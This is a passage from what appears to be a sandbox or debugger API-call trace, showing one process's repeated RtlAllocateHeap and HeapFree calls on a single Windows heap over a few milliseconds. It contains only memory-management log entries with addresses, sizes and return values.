(HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.920] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.920] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.921] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.921] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.922] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.922] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.923] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.923] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.924] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.924] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.925] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.925] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.928] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.928] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.928] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | 